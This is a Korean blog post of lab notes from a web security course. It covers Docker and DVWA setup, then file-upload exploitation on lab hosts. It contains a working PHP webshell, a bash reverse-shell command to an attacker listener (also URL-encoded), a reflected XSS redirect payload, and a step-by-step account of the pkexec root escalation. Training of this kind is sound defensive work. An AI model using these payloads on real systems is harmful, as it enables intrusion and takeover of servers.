카테고리 없음

애플리케이션 보안운영 1일차

ajh 2026. 5. 26. 17:29

새 록키 리눅스9 설치 

 

리눅스 패키지 설치

[root@docker ~]# dnf install -y vim bash-completion net-tools wget curl psmisc

[root@docker ~]# cat <<EOF > ~/.vimrc
set number        " 줄 번호 표시
set ai            " 자동 들여쓰기
set si            " 스마트 들여쓰기
set cindent       " C 스타일 들여쓰기
set shiftwidth=4  " 자동 들여쓰기 너비
set tabstop=4     " 탭 간격
set hlsearch      " 검색어 하이라이트
syntax on         " 문법 강조
EOF

[root@docker ~]# reboot

 

도커 설치

[root@docker ~]# dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
[root@docker ~]# dnf repolist
[root@docker ~]# dnf -y install docker-ce docker-ce-cli containerd.io docker-compose-plugin
[root@docker ~]# systemctl --now enable docker.service

 

도커 네트워크 설정

도커는 컨테이너를 생성할 때 IP주소를 고정으로 설정할 수 없다

그러기에 네트워크를 따로 생성해주고 그 네트워크에서 IP주소를 부여받는식으로 할당한다

 

[root@docker ~]# docker net cre --dri bri --sub 172.80.20.0/24 --gat  172.80.20.1 securitylab

[root@docker ~]# docker net rm [name]

 

[root@docker ~]# docker run -d --res al --net [name] --ip [ip] -p [port:port] -v [/home/] --host [host name]--name [name] [image name]

 

DVWA컨테이너 생성하기

Docker 네트워크명: websecurity
Docker 서브넷: 172.80.20.0/24
Docker Gateway: 172.80.20.1
Host OS Docker IP: 172.80.20.1
DVWA 컨테이너 IP: 172.80.20.2
DVWA 이미지: vulnerables/web-dvwa
DVWA 컨테이너명: dvwa
DVWA 호스트명: dvwa
컨테이너 실행 옵션: 항상 실행
외부 접속 포트: 81/tcp
컨테이너 내부 포트: 80/tcp

0.0.0.0: <= ipv4만 사용

 

[root@docker ~]# docker run -d --restart always --network websecurity --ip 172.80.20.2 -p 0.0.0.0:81:80 --hostname dvwa --name dvwa vulnerables/web-dvwa


파일 업로드 취약점

kali 리눅스로 DVWA 파일 업로드 취약점을 확인한다

 

kali 사용자의 홈디렉터리에 webshell.php 파일을 생성하나다.
kali@kali:~$ vi webshell.php
<?php
if(isset($_GET['cmd']))
    system($_GET['cmd']);
?>

http://192.168.100.200:81/vulnerabilities/upload/#

생성된 webshell.php 파일을 파일 업로드 메뉴에 업로드한다.

업로드 메세지:
../../hackable/uploads/webshell.php succesfully uploaded!

http://192.168.100.200:81/hackable/uploads/webshell.php?cmd=pwd
http://192.168.100.200:81/hackable/uploads/webshell.php?cmd=id
업로드한 이후에 해야할 것을 ?cmd=을 통해 webshell.php에 전달해준다

웹 사용자의 계정명과 UID를 구하시오.
계정명: www-data
UID: 33

업로드 위치가 안 보일시 이미지를 하나 저장 후 이미주 주소 복사,보기등을 통해 디렉토리를 확인할 수 있다.


mywebsite 에서 업로드 취약점

아래 명령어로 설정을 변경한다.
# chcon -t httpd_sys_rw_content_t /var/www/html/data/
# setenforce 0

mywebsite 의 게시글을 쓸 때 업로드 취약점이 존재하므로 웹셸을 업로드한다.
http://192.168.100.10/data/webshell.php?cmd=pwd

http://192.168.100.10/data/webshell.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 



mywebsite 서버로 침투하기
kali@kali:~$ nc -lvp 9000

URL창에는 인코딩으로 변경하지 않으면 제대로 인식하지 않는다.
http://192.168.100.10/data/webshell.php?cmd=[bash -c 'bash -i >& /dev/tcp/192.168.100.3/9000 0>&1']
cmd후에 인식되어야 하는 []부분을 인코딩한다


URL 인코딩으로 변경하는 문자
  . 공백: %20
    - Burp => [Decoder] => a  b => 메뉴에서 URL 인코딩을 선택하면 
    %61%20%20%62 
  . ' : %27
  . > : %32
  . & : %26
    - a.php?id=bbs1&test=12345
... ...

=>
http://192.168.100.10/data/webshell.php?cmd=

[%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%33%2f%39%30%30%30%20%30%3e%26%31%27]


bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-4.2$ pwd
pwd
/var/www/html/data

[root@victim ~]# sleep 1000 &
[1] 2220
[root@victim ~]# tty
/dev/pts/0
[root@victim ~]# ll /proc/2220/fd

[root@victim ~]# sleep 2000 >/dev/null &
[2] 2234
[root@victim ~]# ll /proc/2234/fd

[root@victim ~]# sleep 3000 >/dev/null 0>&1 &
[3] 2251
[root@victim ~]# ll /proc/2251/fd

[root@victim ~]# echo $SHLVL
1
[root@victim ~]# bash
[root@victim ~]# echo $SHLVL
2
[root@victim ~]# bash
[root@victim ~]# echo $SHLVL
3
[root@victim ~]# exit
exit
[root@victim ~]# exit
exit

[root@victim ~]# echo $SHLVL
1
[root@victim ~]# bash -c 'echo Hello'
Hello
[root@victim ~]# echo $SHLVL


flag.txt 파일을 찾아서 FLAG를 획득하는 방법

해당 취약점을 이용하여 웹쉘을 업로드한 후 웹 서버 권한으로 시스템 내부 명령어를 실행하시오.
이후 웹 서버 권한으로 접근 가능한  /etc/host 파일의 내용에서 윗줄 3줄을 확인하고 출력

 

bash-4.2$ head -3 cat /etc/crontab
head -3 cat /etc/crontab
head: cannot open 'cat' for reading: No such file or directory
==> /etc/crontab <==
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root


Reflected XSS

검색할 아이디를 입력하세요!
xss  [중복확인]을 클릭한다.

GET /useridcheck.html?useridcheck=1&userid=<script>alert("xss")</script> HTTP/1.1
Host: 192.168.100.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.10/useridcheck.html?useridcheck=1&userid=xss
Accept-Encoding: gzip, deflate, br
Accept-Language: ko,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=tpv9auuad6uu7k9cav9vp28bl5
Connection: keep-alive

취약한 URL: http://192.168.100.10/useridcheck.html?useridcheck=1&userid=xss
취약한 파라미터: userid
공격코드: <script> location.href="https://naver.com"; </script>

 http://192.168.100.10/useridcheck.html?useridcheck=1&userid=<script> location.href="https://naver.com"; </script>


폴킷 취약점

리눅스에서 프로세스가 실행될 때, 커널은 해당 프로세스의 메모리 스택에 두 가지 중요한 배열을 배치힌다.
argv[]: 명령줄 인자 (예: ls -l에서 ls는 argv[0], -l은 argv[1])
envp[]: 환경 변수 (예: PATH, SHELL 등)

이 두 배열은 메모리상에서 연속적으로 위치한다. 

보통 argv 배열의 끝은 NULL로 표시되며, 그 바로 뒤에 envp 배열이 시작된다.
취약점의 지점
pkexec 프로그램의 소스 코드에는 인자 개수(argc)가 1보다 작을 경우(즉, 인자가 아예 없을 경우)를 제대로 처리하지 못하는 루프가 있었다.
공격자가 argv를 빈 값({NULL})으로 전달하면 argc는 0이 된다.
하지만 pkexec는 내부 루프에서 n = 1부터 인자를 읽으려 시도한다.
argv[1]을 참조하게 되는데, argv 배열은 비어 있으므로 바로 옆에 붙어 있는 envp[0](환경 변수의 첫 번째 값)을 인자로 착각하고 읽어버린다.

 

공격 메커니즘 (Exploit Step)
공격은 크게 다음과 같은 단계로 진행됩니다.

단계 1: 환경 변수 조작
공격자는 실행 시 환경 변수(envp)의 첫 번째 항목에 특수한 경로를 삽입합니다. 예를 들어, GCONV_PATH=./evil과 같은 값을 넣습니다.

단계 2: pkexec 실행
인자(argv)를 비운 상태로 pkexec를 실행합니다. 앞서 설명한 설계 결함으로 인해 pkexec는 envp[0]에 들어있는 값을 마치 실행할 프로그램의 이름인 것처럼 처리하려고 합니다.

단계 3: 환경 변수 오염 (Environment Poisoning)
pkexec 내부 로직 중에 메시지를 출력하거나 경로를 찾기 위해 g_printerr() 같은 함수를 호출하게 만듭니다. 이때 pkexec는 유효하지 않은 인자를 처리하는 과정에서 사용자로부터 주입된 환경 변수를 이용해 특정한 라이브러리를 로드하려고 시도합니다.

단계 4: 공유 라이브러리 로드 (Shared Library Injection)
공격자는 미리 준비한 악성 공유 라이브러리(.so 파일)를 시스템이 불러오게 유도합니다. 이 라이브러리 안에는 setuid(0)와 /bin/sh를 실행하는 코드가 들어 있습니다.

단계 5: 루트 권한 획득
pkexec는 기본적으로 SUID 권한이 설정된 프로그램이므로, 루트(root) 권한으로 실행 중입니다. 공격자가 주입한 악성 코드가 pkexec 프로세스 내부에서 실행되면서, 공격자는 즉시 루트 셸을 얻게 됩니다.